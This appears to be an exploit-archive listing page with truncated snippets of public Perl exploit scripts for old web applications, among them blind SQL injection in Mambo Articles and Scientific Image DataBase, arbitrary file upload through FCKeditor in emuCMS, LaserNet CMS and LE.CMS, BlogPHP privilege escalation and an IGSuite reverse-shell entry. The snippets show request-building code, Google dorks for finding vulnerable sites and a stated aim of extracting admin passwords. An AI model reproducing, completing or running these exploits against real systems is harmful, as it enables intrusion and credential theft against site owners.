mamboarticles-sql.txt

!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " \n"; print " Mambo Component Articles Blind SQL Injection Exploit \n"; print " Author:Ded MustD!e www.antichat.ru \n"; print " \n"; print " Dork : inurl:option=articles artid \n"; print " Usage: perl exploit.pl ho...

Mambo Component Articles - artid Blind SQL Injection

Mambo Component Articles - artid Blind SQL Injection !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " \n"; print " Mambo Component Articles Blind SQL Injection Exploit \n"; print " Author:Ded MustD!e www.antichat.ru \n"; print " \n"; print " Dork :...

emuCMS 0.3 (fckeditor) Arbitrary File Upload Exploit

No description provided by source. !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ +emuCMS 0.3 fckeditor Arbitrary File Upload xpl + + + + By: Stack +...

TOKOKITA (barang.php produk_id) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================ TOKOKITA barang.php produkid Remote SQL Injection Exploit ============================================================ !/usr/bin/perl k1tk4t Public Security Advisory...

BlogPHP 2.0 Remote Privilege Escalation Exploit

No description provided by source. !/usr/bin/perl BlogPHP 2.0 Remote Privilege Escalation Exploit Author : Cod3rZ Site : http://cod3rz.helloweb.eu Site : http://devilsnight.altervista.org Cuz We Back Rude This Time Privilege Escalation Send a request to...

blogphp-escalate.txt

!/usr/bin/perl BlogPHP 2.0 Remote Privilege Escalation Exploit Author : Cod3rZ Site : http://cod3rz.helloweb.eu Site : http://devilsnight.altervista.org Cuz We Back Rude This Time Privilege Escalation Send a request to http://127.0.0.1/BlogPHPv2/index.php?act=register2 with:...

emuCMS 0.3 - FCKeditor Arbitrary File Upload

emuCMS 0.3 - FCKeditor Arbitrary File Upload !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST...

emuCMS 0.3 (fckeditor) Arbitrary File Upload Exploit

Exploit for unknown platform in category web applications ==================================================== emuCMS 0.3 fckeditor Arbitrary File Upload Exploit ==================================================== !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use...

BlogPHP 2.0 Remote Privilege Escalation Exploit

Exploit for unknown platform in category web applications =============================================== BlogPHP 2.0 Remote Privilege Escalation Exploit =============================================== !/usr/bin/perl BlogPHP 2.0 Remote Privilege Escalation Exploit Author : Cod3rZ Cuz We Back Rude...

scientific-sql.txt

!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; Download: http://sidb.sourceforge.net/ Dork: "Scientific Image DataBase" This exploit retrives the admin username/password via blind mysql injection. print ; my $substr, $done, $chr, $res = 1, 1, 48, ""; my $ua = LWP::UserAgent-new agen...

BlogPHP 2.0 - Privilege Escalation / SQL Injection

!/usr/bin/perl BlogPHP 2.0 Remote Privilege Escalation Exploit Author : Cod3rZ Site : http://cod3rz.helloweb.eu Site : http://devilsnight.altervista.org Cuz We Back Rude This Time Privilege Escalation Send a request to http://127.0.0.1/BlogPHPv2/index.php?act=register2 with:...

emuCMS 0.3 - 'FCKeditor' Arbitrary File Upload

!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST $url.'/admin/FCKeditor/editor/filemanager/upload/php/upload.php', ContentTyp...

LE.CMS <= 1.4 Remote Arbitrary File Upload Exploit

No description provided by source. !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print INTRO; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - LE.CMS = 1.4 Remote Arbitrary File Upload Exploit - - - - - - Discovered && Coded By: t0pP8uZz - -...

IGSuite 3.2.4 - Reverse Shell / Blind SQL Injection

!/usr/bin/perl 05/18/2008 - IGSuite 3.2.4 Blind SQL Injection - ksOSe 05/21/2008 - Vendor notified 05/23/2008 - A patch was pushed via the igsuited daemonnot enabled by default Fix: run igsuited --update-igsuite or upgrade to 3.2.5-beta. Tested on IGSuite 3.2.4 on linux with MySQL, needs ncin pat...

LaserNet CMS <= 1.5 Arbitrary File Upload Exploit

No description provided by source. !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ + LaserNet CMS = 1.5 Arbitrary File Upload Exploit + + + + Discovered && Coded By: t0pP8uZz + + Discovered...

Scientific Image DataBase <= 0.41 Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; Download: http://sidb.sourceforge.net/ Dork: "Scientific Image DataBase" This exploit retrives the admin username/password via blind mysql injection. print INFO; heredocs is ugly.. so is my INFO ;...

LaserNet CMS 1.5 - Arbitrary File Upload

LaserNet CMS 1.5 - Arbitrary File Upload !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST...

Scientific Image DataBase <= 0.41 Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; Download: http://sidb.sourceforge.net/ Dork: "Scientific Image DataBase" This exploit retrives the admin username/password via blind mysql injection. print INFO; heredocs is ugly.. so is my INFO ;...

LE.CMS 1.4 - Arbitrary File Upload

LE.CMS 1.4 - Arbitrary File Upload !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "\nEnter Local File Path To Uploadie: C:\file.txt: "; chompmy $file=; my $ext = substr $file, rindex $file, '.'; my $fname = int rand 9999; my $ua =...

Scientific Image DataBase <= 0.41 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================= Scientific Image DataBase ; my $substr, $done, $chr, $res = 1, 1, 48, ""; my $ua = LWP::UserAgent-new agent = 'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1', cookiejar = ;...